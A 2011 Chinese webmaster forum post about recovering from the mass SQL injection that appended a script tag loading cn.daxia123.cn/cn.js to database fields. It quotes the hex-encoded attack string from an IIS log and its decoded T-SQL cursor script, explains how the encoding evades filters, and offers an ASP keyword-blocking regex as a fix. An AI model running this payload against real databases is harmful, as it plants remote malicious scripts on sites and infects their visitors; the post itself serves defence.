狠狠色丁香婷婷综合尤物/久久精品综合一区二区三区/中国有色金属学报/国产日韩欧美在线观看 - 国产一区二区三区四区五区tv

LOGO OA教程 ERP教程 模切知識交流 PMS教程 CRM教程 開發文檔 其他文檔  
 
網站管理員

數據庫被注入解決辦法

admin
2011年1月31日 1:59 本文熱度 2937
近期,我管理的一個網站被注入木馬代碼<script src=http://cn.daxia123.cn/cn.js></script>,在百度搜索這段代碼,竟然可以搜到20萬多的網站被注入了,真是把我郁悶了一天啊!!!!這個木馬大概在2008-12-24號爆發至今。。越來越多的網站中標。daxia123

查看IIS日志發現如下信息:

2009-01-01 01:27:35 W3SVC599379226 *.*.*.*GET reads.asp msgid=2068%25'%20;dEcLaRe%20@S%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747
970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D30292
0424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F636E2E64617869613132332E636E2F636E2E6A733E3C2F7363726970743E27272729204645544348204E4558542046524
F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20aS%20VaRcHaR(4000));eXeC(@s);--%20aNd%20'%25'=' 80 - 211.200.141.151 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) http://** 200 0 0

網上有兄弟把這段代碼還原如下:


+展開
-SQL

DECLARE @T VARCHAR(255),@C VARCHAR(255) 
DECLARE Table_Cursor CURSOR FOR 
SELECT a.name,b.name FROM sysobjects a,syscolumns b 
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) 
OPEN Table_Cursor 
FETCH NEXT FROM Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM
(CONVERT(VARCHAR(4000),['+@C+']))+'' <script 
src=http://cn.daxia123.cn/cn.js> </script>''') 
FETCH NEXT FROM Table_Cursor INTO @T,@C END 
CLOSE Table_Cursor DEALLOCATE Table_Cursor


攻擊者將攻擊代碼用2進制,或10進制編譯成了

類似于0x4445434C415245204054205641524348415228323535292C404 的代碼:

防sql注入的代碼無法識別,但sql server 會將此方式編譯的代碼還原為原來的樣子

這樣就繞過了sql防注入代碼。

這個代碼僅對能解釋它的sql server這樣的數據庫有效

針對access這樣的不能解釋它的數據庫類型攻擊無效

真是高手!!!

============================

網上搜索的解決辦法,不知道有沒有效果,你們可以試一試,消除數據之前一定要備份啊,兄弟們!

解決辦法一:1 嚴格過濾 request.form 和 request.querystring 獲取的內容,堅決不用 request("name") 這樣的方式獲取值,凡是采用 cookies 保存的內容,盡量不要用在sql語句里進行查詢數據庫操作;2 重要的用戶資料盡量采用 session 驗證,因為session是服務器端的,客戶端無法偽造數據,除非他有你服務器的權限。

可以采用以下的防范 get 、post以及cookies 注入的代碼來過濾 sql 注入攻擊:



+展開
-HTML

<%
Response.Buffer = True '緩存頁面
'防范get注入
If Request.QueryString <> "" Then StopInjection(Request.QueryString)
'防范post注入
If Request.Form <> "" Then StopInjection(Request.Form)
'防范cookies注入
If Request.Cookies <> "" Then StopInjection(Request.Cookies) 
'正則子函數
Function StopInjection(Values)
Dim regEx
Set regEx = New RegExp
regEx.IgnoreCase = True
regEx.Global = True
regEx.Pattern = "'|;|#|([\s\b+()]+(select|update|insert|delete|declare|@|exec|dbcc|alter|drop|create|backup|if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists)[\s\b+]*)"
Dim sItem, sValue
For Each sItem In Values
sValue = Values(sItem)
If regEx.Test(sValue) Then
Response.Write "<Script Language=javascript>alert('非法注入!你的行為已被記錄!!');history.back(-1);</script> "
Response.End
End
 If
Next
Set regEx = Nothing
End function
%>


把以上的代碼另存為一個文件,如 antisql.asp ,然后在數據庫連接文件開頭包含這個文件 <!--#include file="antisql.asp"--> ,就可以實現全站的防范 sql 注入的攻擊了。

解決方法二:在數據庫第一個字段前面和最后一個字段后面分別加了一個char型的字段,把字段長度設為1,也就是注入的字段如果大于1則注入失敗。

如果有更好的辦法,麻煩貼出來。

該文章在 2011/1/31 1:59:41 編輯過

全部評論1

tercel
2011年2月1日 11:24
[br]' 表示匹配 '[br]; 表示匹配 ;[br]# 表示匹配 #[br][br][br]([\s\b+()]+(select|update|insert|delete|declare|@|exec|dbcc|alter|drop|create|backup|if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists)[\s\b+]*)[br][br]匹配這種串:[br][br]以一個或多個由[br]空白符(空格,tab等)或[br]單詞分隔符 或[br]+ 或[br]( 或[br]) 或[br][br]組成的串開始[br][br]中間是[br]select|update|insert|delete|declare|@|exec|dbcc|alter|drop|create|backup|if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists[br][br]這些字符中的一個[br][br]最后以任意多個(可以為0)[br][br]空白符(空格,tab等)或[br]單詞分隔符 或[br]+[br][br]組成的串結束[br]

該評論在 2011/2/1 11:24:20 編輯過
關鍵字查詢
相關文章
正在查詢...
點晴ERP是一款針對中小制造業的專業生產管理軟件系統,系統成熟度和易用性得到了國內大量中小企業的青睞。
點晴PMS碼頭管理系統主要針對港口碼頭集裝箱與散貨日常運作、調度、堆場、車隊、財務費用、相關報表等業務管理,結合碼頭的業務特點,圍繞調度、堆場作業而開發的。集技術的先進性、管理的有效性于一體,是物流碼頭及其他港口類企業的高效ERP管理信息系統。
點晴WMS倉儲管理系統提供了貨物產品管理,銷售管理,采購管理,倉儲管理,倉庫管理,保質期管理,貨位管理,庫位管理,生產管理,WMS管理系統,標簽打印,條形碼,二維碼管理,批號管理軟件。
點晴免費OA是一款軟件和通用服務都免費,不限功能、不限時間、不限用戶的免費OA協同辦公管理系統。
Copyright 2010-2025 ClickSun All Rights Reserved